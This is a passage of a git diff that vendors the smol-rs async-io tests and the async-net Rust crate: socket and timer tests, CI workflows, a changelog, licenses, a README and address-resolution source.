future::block_on(async { + // Bind a listener to a socket. + let path = OsStr::from_bytes(b"\0smolabstract"); + let addr = SocketAddr::from_abstract_name(b"smolabstract")?; + let listener = Async::new(UnixListener::bind_addr(&addr)?)?; + + // Future that connects to the listener. + let connector = async { + // Connect to the socket. + let mut stream = Async::::connect(path).await?; + + // Write some bytes to the stream. + stream.write_all(LOREM_IPSUM).await?; + + // Read some bytes from the stream. + let mut buf = vec![0; LOREM_IPSUM.len()]; + stream.read_exact(&mut buf).await?; + assert_eq!(buf.as_slice(), LOREM_IPSUM); + + io::Result::Ok(()) + }; + + // Future that drives the listener. + let driver = async { + // Wait for a new connection. + let (mut stream, _) = listener.accept().await?; + + // Read some bytes from the stream. + let mut buf = vec![0; LOREM_IPSUM.len()]; + stream.read_exact(&mut buf).await?; + assert_eq!(buf.as_slice(), LOREM_IPSUM); + + // Write some bytes to the stream. + stream.write_all(LOREM_IPSUM).await?; + + io::Result::Ok(()) + }; + + // Run both in parallel. + future::try_zip(connector, driver).await?; + + Ok(()) + }) +} diff --git a/lib/malio/async-io/tests/block_on.rs b/lib/malio/async-io/tests/block_on.rs new file mode 100644 index 0000000..70241f0 --- /dev/null +++ b/lib/malio/async-io/tests/block_on.rs @@ -0,0 +1,178 @@ +use async_io::block_on; +use std::{ + future::Future, + pin::Pin, + task::{Context, Poll, Waker}, + time::{Duration, Instant}, +}; + +#[test] +fn doesnt_poll_after_ready() { + #[derive(Default)] + struct Bomb { + returned_ready: bool, + } + impl Future for Bomb { + type Output = (); + + fn poll(mut self: Pin<&mut Self>, _cx: &mut Context<'_>) -> Poll { + if self.returned_ready { + panic!("Future was polled again after returning Poll::Ready"); + } else { + self.returned_ready = true; + Poll::Ready(()) + } + } + } + + block_on(Bomb::default()) +} + +#[test] +fn recursive_wakers_are_different() { + struct Outer; + impl Future for Outer { + type Output = (); + + fn poll(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll { + let outer_waker = cx.waker(); + block_on(Inner { outer_waker }); + Poll::Ready(()) + } + } + + struct Inner<'a> { + pub outer_waker: &'a Waker, + } + impl Future for Inner<'_> { + type Output = (); + + fn poll(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll { + let inner_waker = cx.waker(); + assert!(!inner_waker.will_wake(self.outer_waker)); + Poll::Ready(()) + } + } + + block_on(Outer); +} + +#[test] +fn inner_cannot_wake_outer() { + #[derive(Default)] + struct Outer { + elapsed: Option, + } + impl Future for Outer { + type Output = (); + + fn poll(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll { + if let Some(elapsed) = self.elapsed { + assert!(elapsed.elapsed() >= Duration::from_secs(1)); + Poll::Ready(()) + } else { + let outer_waker = cx.waker().clone(); + block_on(Inner); + std::thread::spawn(|| { + std::thread::sleep(Duration::from_secs(1)); + outer_waker.wake(); + }); + self.elapsed = Some(Instant::now()); + Poll::Pending + } + } + } + + struct Inner; + impl Future for Inner { + type Output = (); + + fn poll(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll { + let inner_waker = cx.waker(); + inner_waker.wake_by_ref(); + Poll::Ready(()) + } + } + + block_on(Outer::default()); +} + +#[test] +fn outer_cannot_wake_inner() { + struct Outer; + impl Future for Outer { + type Output = (); + + fn poll(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll { + let outer_waker = cx.waker(); + outer_waker.wake_by_ref(); + block_on(Inner::default()); + Poll::Ready(()) + } + } + + #[derive(Default)] + struct Inner { + elapsed: Option, + } + impl Future for Inner { + type Output = (); + + fn poll(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll { + if let Some(elapsed) = self.elapsed { + assert!(elapsed.elapsed() >= Duration::from_secs(1)); + Poll::Ready(()) + } else { + let inner_waker = cx.waker().clone(); + std::thread::spawn(|| { + std::thread::sleep(Duration::from_secs(1)); + inner_waker.wake(); + }); + self.elapsed = Some(Instant::now()); + Poll::Pending + } + } + } + + block_on(Outer); +} + +#[test] +fn first_cannot_wake_second() { + struct First; + impl Future for First { + type Output = (); + + fn poll(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll { + let first_waker = cx.waker(); + first_waker.wake_by_ref(); + Poll::Ready(()) + } + } + + #[derive(Default)] + struct Second { + elapsed: Option, + } + impl Future for Second { + type Output = (); + + fn poll(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll { + if let Some(elapsed) = self.elapsed { + assert!(elapsed.elapsed() >= Duration::from_secs(1)); + Poll::Ready(()) + } else { + let second_waker = cx.waker().clone(); + std::thread::spawn(|| { + std::thread::sleep(Duration::from_secs(1)); + second_waker.wake(); + }); + self.elapsed = Some(Instant::now()); + Poll::Pending + } + } + } + + block_on(First); + block_on(Second::default()); +} diff --git a/lib/malio/async-io/tests/issue_182.rs b/lib/malio/async-io/tests/issue_182.rs new file mode 100644 index 0000000..b49162b --- /dev/null +++ b/lib/malio/async-io/tests/issue_182.rs @@ -0,0 +1,24 @@ +//! https://github.com/smol-rs/async-io/issues/182 + +use async_io::Async; +use std::net::{TcpStream, ToSocketAddrs}; + +#[test] +fn networking_initialized() { + let address = match ToSocketAddrs::to_socket_addrs(&("google.com", 80)) { + Ok(mut addrs) => addrs.next().unwrap(), + Err(err) => { + eprintln!("Got error {err} when looking up google.com, exiting test early."); + return; + } + }; + + // Make sure we can access the host normally. + if TcpStream::connect(address).is_err() { + return; + } + + async_io::block_on(async move { + let _ = Async::::connect(address).await.unwrap(); + }); +} diff --git a/lib/malio/async-io/tests/timer.rs b/lib/malio/async-io/tests/timer.rs new file mode 100644 index 0000000..c598ed7 --- /dev/null +++ b/lib/malio/async-io/tests/timer.rs @@ -0,0 +1,99 @@ +use std::future::{poll_fn, Future}; +use std::pin::Pin; +use std::sync::{Arc, Mutex}; +use std::thread; +use std::time::{Duration, Instant}; + +use async_io::Timer; +use futures_lite::{future, FutureExt, StreamExt}; + +fn spawn( + f: impl Future + Send + 'static, +) -> impl Future + Send + 'static { + let (s, r) = async_channel::bounded(1); + + thread::spawn(move || { + future::block_on(async { + s.send(f.await).await.ok(); + }) + }); + + Box::pin(async move { r.recv().await.unwrap() }) +} + +#[test] +fn smoke() { + future::block_on(async { + let start = Instant::now(); + Timer::after(Duration::from_secs(1)).await; + assert!(start.elapsed() >= Duration::from_secs(1)); + }); +} + +#[test] +fn interval() { + future::block_on(async { + let period = Duration::from_secs(1); + let jitter = Duration::from_millis(500); + let start = Instant::now(); + let mut timer = Timer::interval(period); + timer.next().await; + let elapsed = start.elapsed(); + assert!(elapsed >= period && elapsed - period < jitter); + timer.next().await; + let elapsed = start.elapsed(); + assert!(elapsed >= period * 2 && elapsed - period * 2 < jitter); + }); +} + +#[test] +fn poll_across_tasks() { + future::block_on(async { + let start = Instant::now(); + let (sender, receiver) = async_channel::bounded(1); + + let task1 = spawn(async move { + let mut timer = Timer::after(Duration::from_secs(1)); + + async { + (&mut timer).await; + panic!("timer should not be ready") + } + .or(async {}) + .await; + + sender.send(timer).await.ok(); + }); + + let task2 = spawn(async move { + let timer = receiver.recv().await.unwrap(); + timer.await; + }); + + task1.await; + task2.await; + + assert!(start.elapsed() >= Duration::from_secs(1)); + }); +} + +#[test] +fn set() { + future::block_on(async { + let start = Instant::now(); + let timer = Arc::new(Mutex::new(Timer::after(Duration::from_secs(10)))); + + thread::spawn({ + let timer = timer.clone(); + move || { + thread::sleep(Duration::from_secs(1)); + timer.lock().unwrap().set_after(Duration::from_secs(2)); + } + }); + + poll_fn(|cx| Pin::new(&mut *timer.lock().unwrap()).poll(cx)).await; + + assert!(start.elapsed() >= Duration::from_secs(2)); + assert!(start.elapsed() < Duration::from_secs(10)); + }); +} diff --git a/lib/malio/async-net/.github/dependabot.yml b/lib/malio/async-net/.github/dependabot.yml new file mode 100644 index 0000000..52f7945 --- /dev/null +++ b/lib/malio/async-net/.github/dependabot.yml @@ -0,0 +1,9 @@ +version: 2 +updates: + - package-ecosystem: cargo + directory: / + schedule: + interval: weekly + commit-message: + prefix: '' + labels: [] diff --git a/lib/malio/async-net/.github/workflows/ci.yml b/lib/malio/async-net/.github/workflows/ci.yml new file mode 100644 index 0000000..456c500 --- /dev/null +++ b/lib/malio/async-net/.github/workflows/ci.yml @@ -0,0 +1,78 @@ +name: CI + +permissions: + contents: read + +on: + pull_request: + push: + branches: + - master + schedule: + - cron: '0 2 * * 0' + +env: + CARGO_INCREMENTAL: 0 + CARGO_NET_GIT_FETCH_WITH_CLI: true + CARGO_NET_RETRY: 10 + CARGO_TERM_COLOR: always + RUST_BACKTRACE: 1 + RUSTFLAGS: -D warnings + RUSTDOCFLAGS: -D warnings + RUSTUP_MAX_RETRIES: 10 + +defaults: + run: + shell: bash + +jobs: + fmt: + uses: smol-rs/.github/.github/workflows/fmt.yml@main + security_audit: + uses: smol-rs/.github/.github/workflows/security_audit.yml@main + permissions: + checks: write + contents: read + issues: write + secrets: inherit + + test: + runs-on: ${{ matrix.os }} + strategy: + fail-fast: false + matrix: + os: [ubuntu-latest, windows-latest, macos-latest] + rust: [nightly, beta, stable] + steps: + - uses: actions/checkout@v4 + - name: Install Rust + run: rustup update ${{ matrix.rust }} && rustup default ${{ matrix.rust }} + - run: cargo build --all --all-features --all-targets + - name: Run cargo check (without dev-dependencies to catch missing feature flags) + if: startsWith(matrix.rust, 'nightly') + run: cargo check -Z features=dev_dep + - run: cargo test + + msrv: + runs-on: ${{ matrix.os }} + strategy: + fail-fast: false + matrix: + os: [ubuntu-latest, windows-latest] + # When updating this, the reminder to update the minimum supported + # Rust version in Cargo.toml. + rust: ['1.63'] + steps: + - uses: actions/checkout@v4 + - name: Install Rust + # --no-self-update is necessary because the windows environment cannot self-update rustup.exe. + run: rustup update ${{ matrix.rust }} --no-self-update && rustup default ${{ matrix.rust }} + - run: cargo build + + clippy: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - name: Install Rust + run: rustup update stable + - run: cargo clippy --all-features --all-targets diff --git a/lib/malio/async-net/.github/workflows/release.yml b/lib/malio/async-net/.github/workflows/release.yml new file mode 100644 index 0000000..59fad1f --- /dev/null +++ b/lib/malio/async-net/.github/workflows/release.yml @@ -0,0 +1,22 @@ +name: Release + +permissions: + contents: write + +on: + push: + tags: + - v[0-9]+.* + +jobs: + create-release: + if: github.repository_owner == 'smol-rs' + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: taiki-e/create-gh-release-action@v1 + with: + changelog: CHANGELOG.md + branch: master + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} diff --git a/lib/malio/async-net/.gitignore b/lib/malio/async-net/.gitignore new file mode 100644 index 0000000..96ef6c0 --- /dev/null +++ b/lib/malio/async-net/.gitignore @@ -0,0 +1,2 @@ +/target +Cargo.lock diff --git a/lib/malio/async-net/CHANGELOG.md b/lib/malio/async-net/CHANGELOG.md new file mode 100644 index 0000000..1e5f4d7 --- /dev/null +++ b/lib/malio/async-net/CHANGELOG.md @@ -0,0 +1,88 @@ +# Version 2.0.0 + +- **Breaking:** Bump `async-io` to version 2.0.0. (#28) +- Bump `futures-lite` to version 2.0.0. (#29) + +# Version 1.8.0 + +- Bump MSRV to 1.63. (#23) + +# Version 1.7.0 + +- Implement I/O safety traits on Rust 1.63+ (#21) + +# Version 1.6.1 + +- Override `AsyncWrite::poll_write_vectored` for `TcpStream`. +- Remove boxed futures from `TcpStream` and `UnixStream`. + +# Version 1.6.0 + +- Add `From` impls for conversion into inner networking types `Arc>`. (#12) +- Optimize allocations in Listeners. (#11) + +# Version 1.5.0 + +- Add `Into` impls for conversion into inner networking types `Arc>`. + +# Version 1.4.7 + +- Update `futures-lite`. + +# Version 1.4.6 + +- Remove random yielding - rely on `async-io` for that instead. + +# Version 1.4.5 + +- Don't poll `readiness()` future again after it has returned an error. + +# Version 1.4.4 + +- Store `readable` future inside `Incoming` struct. + +# Version 1.4.3 + +- Minor nits in the docs. + +# Version 1.4.2 + +- Make `TcpStream` and `UnixStream` unwind-safe. + +# Version 1.4.1 + +- Make `TcpStream` and `UnixStream` implement `Sync`. + +# Version 1.4.0 + +- Remove `AsyncRead`/`AsyncWrite` impls for `&TcpStream`/`&UnixStream` + (technically a breaking change, but the existence of these impls is a bug) + +# Version 1.3.0 + +- Add type converstions using `From` and `TryFrom` impls. + +# Version 1.2.0 + +- Update `blocking` and `async-io` to v1.0 + +# Version 1.1.0 + +- Reexport `AddrParseError`. + +# Version 1.0.0 + +- Add `resolve()`. +- Re-export more types from `std::net`. + +# Version 0.1.2 + +- Update `blocking` to v0.5.0 + +# Version 0.1.1 + +- Reduce the number of dependencies + +# Version 0.1.0 + +- Initial version diff --git a/lib/malio/async-net/Cargo.toml b/lib/malio/async-net/Cargo.toml new file mode 100644 index 0000000..20a2ef8 --- /dev/null +++ b/lib/malio/async-net/Cargo.toml @@ -0,0 +1,22 @@ +[package] +name = "async-net" +# When publishing a new version: +# - Update CHANGELOG.md +# - Create "v2.x.y" git tag +version = "2.0.0" +authors = ["Stjepan Glavina "] +edition = "2021" +rust-version = "1.63" +description = "Async networking primitives for TCP/UDP/Unix communication" +license = "Apache-2.0 OR MIT" +repository = "https://github.com/smol-rs/async-net" +homepage = "https://github.com/smol-rs/async-net" +documentation = "https://docs.rs/async-net" +keywords = ["networking", "uds", "mio", "reactor", "std"] +categories = ["asynchronous", "network-programming", "os"] +exclude = ["/.*"] + +[dependencies] +async-io = "2.0.0" +blocking = "1.0.0" +futures-lite = "2.0.0" diff --git a/lib/malio/async-net/LICENSE-APACHE b/lib/malio/async-net/LICENSE-APACHE new file mode 100644 index 0000000..16fe87b --- /dev/null +++ b/lib/malio/async-net/LICENSE-APACHE @@ -0,0 +1,201 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + +TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + +1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + +2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + +3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + +4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + +5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + +6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + +7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + +8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + +9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + +END OF TERMS AND CONDITIONS + +APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + +Copyright [yyyy] [name of copyright owner] + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. diff --git a/lib/malio/async-net/LICENSE-MIT b/lib/malio/async-net/LICENSE-MIT new file mode 100644 index 0000000..31aa793 --- /dev/null +++ b/lib/malio/async-net/LICENSE-MIT @@ -0,0 +1,23 @@ +Permission is hereby granted, free of charge, to any +person obtaining a copy of this software and associated +documentation files (the "Software"), to deal in the +Software without restriction, including without +limitation the rights to use, copy, modify, merge, +publish, distribute, sublicense, and/or sell copies of +the Software, and to permit persons to whom the Software +is furnished to do so, subject to the following +conditions: + +The above copyright notice and this permission notice +shall be included in all copies or substantial portions +of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF +ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED +TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A +PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT +SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY +CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR +IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +DEALINGS IN THE SOFTWARE. diff --git a/lib/malio/async-net/README.md b/lib/malio/async-net/README.md new file mode 100644 index 0000000..06af360 --- /dev/null +++ b/lib/malio/async-net/README.md @@ -0,0 +1,55 @@ +# async-net + +[![Build](https://github.com/smol-rs/async-net/workflows/Build%20and%20test/badge.svg)]( +https://github.com/smol-rs/async-net/actions) +[![License](https://img.shields.io/badge/license-Apache--2.0_OR_MIT-blue.svg)]( +https://github.com/smol-rs/async-net) +[![Cargo](https://img.shields.io/crates/v/async-net.svg)]( +https://crates.io/crates/async-net) +[![Documentation](https://docs.rs/async-net/badge.svg)]( +https://docs.rs/async-net) + +Async networking primitives for TCP/UDP/Unix communication. + +This crate is an async version of [`std::net`] and [`std::os::unix::net`]. + +[`std::net`]: https://doc.rust-lang.org/std/net/index.html +[`std::os::unix::net`]: https://doc.rust-lang.org/std/os/unix/net/index.html + +## Implementation + +This crate uses [`async-io`] for async I/O and [`blocking`] for DNS lookups. + +[`async-io`]: https://docs.rs/async-io +[`blocking`]: https://docs.rs/blocking + +## Examples + +A simple UDP server that echoes messages back to the sender: + +```rust +use async_net::UdpSocket; + +let socket = UdpSocket::bind("127.0.0.1:8080").await?; +let mut buf = vec![0u8; 1024]; + +loop { + let (n, addr) = socket.recv_from(&mut buf).await?; + socket.send_to(&buf[..n], &addr).await?; +} +``` + +## License + +Licensed under either of + + * Apache License, Version 2.0 ([LICENSE-APACHE](LICENSE-APACHE) or http://www.apache.org/licenses/LICENSE-2.0) + * MIT license ([LICENSE-MIT](LICENSE-MIT) or http://opensource.org/licenses/MIT) + +at your option. + +#### Contribution + +Unless you explicitly state otherwise, any contribution intentionally submitted +for inclusion in the work by you, as defined in the Apache-2.0 license, shall be +dual licensed as above, without any additional terms or conditions. diff --git a/lib/malio/async-net/src/addr.rs b/lib/malio/async-net/src/addr.rs new file mode 100644 index 0000000..d210916 --- /dev/null +++ b/lib/malio/async-net/src/addr.rs @@ -0,0 +1,212 @@ +use std::fmt; +use std::future::Future; +use std::io; +use std::mem; +use std::net::{IpAddr, Ipv4Addr, Ipv6Addr}; +use std::net::{SocketAddr, SocketAddrV4, SocketAddrV6, ToSocketAddrs}; +use std::pin::Pin; +use std::task::{Context, Poll}; + +use blocking::unblock; +use futures_lite::future; + +/// Converts or resolves addresses to [`SocketAddr`] values. +/// +/// This trait currently only appears in function signatures and cannot be used directly. +/// +/// However, you can use the [`resolve()`][`super::resolve()`] function to resolve addresses. +pub trait AsyncToSocketAddrs: Sealed {} + +pub trait Sealed { + /// Returned iterator over socket addresses which this type may correspond to. + type Iter: Iterator + Unpin; + + /// Converts this object to an iterator of resolved `SocketAddr`s. + /// + /// The returned iterator may not actually yield any values depending on the outcome of any + /// resolution performed. + /// + /// Note that this function may block a backend thread while resolution is performed. + fn to_socket_addrs(&self) -> ToSocketAddrsFuture; +} + +pub enum ToSocketAddrsFuture { + Resolving(future::Boxed>), + Ready(io::Result), + Done, +} + +impl fmt::Debug for ToSocketAddrsFuture { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + write!(f, "ToSocketAddrsFuture") + } +} + +impl + Unpin> Future for ToSocketAddrsFuture { + type Output = io::Result; + + fn poll(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll { + let state = mem::replace(&mut *self, ToSocketAddrsFuture::Done); + + match state { + ToSocketAddrsFuture::Resolving(mut task) => { + let poll = Pin::new(&mut task).poll(cx); + if poll.is_pending() { + *self = ToSocketAddrsFuture::Resolving(task); + } + poll + } + ToSocketAddrsFuture::Ready(res) => Poll::Ready(res), + ToSocketAddrsFuture::Done => panic!("polled a completed future"), + } + } +} + +impl AsyncToSocketAddrs for SocketAddr {} + +impl Sealed for SocketAddr { + type Iter = std::option::IntoIter; + + fn to_socket_addrs(&self) -> ToSocketAddrsFuture { + ToSocketAddrsFuture::Ready(Ok(Some(*self).into_iter())) + } +} + +impl AsyncToSocketAddrs for SocketAddrV4 {} + +impl Sealed for SocketAddrV4 { + type Iter = std::option::IntoIter; + + fn to_socket_addrs(&self) -> ToSocketAddrsFuture { + Sealed::to_socket_addrs(&SocketAddr::V4(*self)) + } +} + +impl AsyncToSocketAddrs for SocketAddrV6 {} + +impl Sealed for SocketAddrV6 { + type Iter = std::option::IntoIter; + + fn to_socket_addrs(&self) -> ToSocketAddrsFuture { + Sealed::to_socket_addrs(&SocketAddr::V6(*self)) + } +} + +impl AsyncToSocketAddrs for (IpAddr, u16) {} + +impl Sealed for (IpAddr, u16) { + type Iter = std::option::IntoIter; + + fn to_socket_addrs(&self) -> ToSocketAddrsFuture { + let (ip, port) = *self; + match ip { + IpAddr::V4(a) => Sealed::to_socket_addrs(&(a, port)), + IpAddr::V6(a) => Sealed::to_socket_addrs(&(a, port)), + } + } +} + +impl AsyncToSocketAddrs for (Ipv4Addr, u16) {} + +impl Sealed for (Ipv4Addr, u16) { + type Iter = std::option::IntoIter; + + fn to_socket_addrs(&self) -> ToSocketAddrsFuture { + let (ip, port) = *self; + Sealed::to_socket_addrs(&SocketAddrV4::new(ip, port)) + } +} + +impl AsyncToSocketAddrs for (Ipv6Addr, u16) {} + +impl Sealed for (Ipv6Addr, u16) { + type Iter = std::option::IntoIter; + + fn to_socket_addrs(&self) -> ToSocketAddrsFuture { + let (ip, port) = *self; + Sealed::to_socket_addrs(&SocketAddrV6::new(ip, port, 0, 0)) + } +} + +impl AsyncToSocketAddrs for (&str, u16) {} + +impl Sealed for (&str, u16) { + type Iter = std::vec::IntoIter; + + fn to_socket_addrs(&self) -> ToSocketAddrsFuture { + let (host, port) = *self; + + if let Ok(addr) = host.parse::() { + let addr = SocketAddrV4::new(addr, port); + return ToSocketAddrsFuture::Ready(Ok(vec![SocketAddr::V4(addr)].into_iter())); + } + + if let Ok(addr) = host.parse::() { + let addr = SocketAddrV6::new(addr, port, 0, 0); + return ToSocketAddrsFuture::Ready(Ok(vec![SocketAddr::V6(addr)].into_iter())); + } + + let host = host.to_string(); + let future = unblock(move || { + let addr = (host.as_str(), port); + ToSocketAddrs::to_socket_addrs(&addr) + }); + ToSocketAddrsFuture::Resolving(Box::pin(future)) + } +} + +impl AsyncToSocketAddrs for (String, u16) {} + +impl Sealed for (String, u16) { + type Iter = std::vec::IntoIter; + + fn to_socket_addrs(&self) -> ToSocketAddrsFuture { + Sealed::to_socket_addrs(&(&*self.0, self.1)) + } +} + +impl AsyncToSocketAddrs for str {} + +impl Sealed for str { + type Iter = std::vec::IntoIter; + + fn to_socket_addrs(&self) -> ToSocketAddrsFuture { + if let Ok(addr) = self.parse() { + return ToSocketAddrsFuture::Ready(Ok(vec![addr].into_iter())); + } + + let addr = self.to_string(); + let future = unblock(move || std::net::ToSocketAddrs::to_socket_addrs(addr.as_str())); + ToSocketAddrsFuture::Resolving(Box::pin(future)) + } +} + +impl AsyncToSocketAddrs for &[SocketAddr] {} + +impl<'a> Sealed for &'a [SocketAddr] { + type Iter = std::iter::Cloned>; + + fn to_socket_addrs(&self) -> ToSocketAddrsFuture { + ToSocketAddrsFuture::Ready(Ok(self.iter().cloned())) + } +} + +impl AsyncToSocketAddrs for &T {} + +impl Sealed for &T { + type Iter = T::Iter; + + fn to_socket_addrs(&self) -> ToSocketAddrsFuture { + Sealed::to_socket_addrs(&**self) + } +} + +impl AsyncToSocketAddrs for String {} + +impl Sealed for String { + type Iter = std::vec::IntoIter; + + fn to_socket_addrs(&self) -> ToSocketAddrsFuture { + Sealed::to_socket_addrs(&**self) + } +} diff --git a/lib/malio/async-net/src/lib.rs b/lib/malio/async-net/src/lib.rs new file mode 100644 index 0000000..a2fcdd9 --- /dev/null +++ b/lib/malio/async-net/src/lib.rs @@ -0,0 +1,71 @@ +//! Async networking primitives for TCP/UDP/Unix communication. +//! +//! This crate is an async version of [`std::net`] and [`std::os::unix::net`]. +//! +//! # Implementation +//! +//! This crate uses [`async-io`] for async I/O and [`blocking`] for DNS lookups. +//! +//! [`async-io`]: https://docs.rs/async-io +//! [`blocking`]: https://docs.rs/blocking +//! +//! # Examples +//! +//! A simple UDP server that echoes messages back to the sender: +//! +//! ```no_run +//! use async_net::UdpSocket; +//! +//! # futures_lite::future::block_on(async { 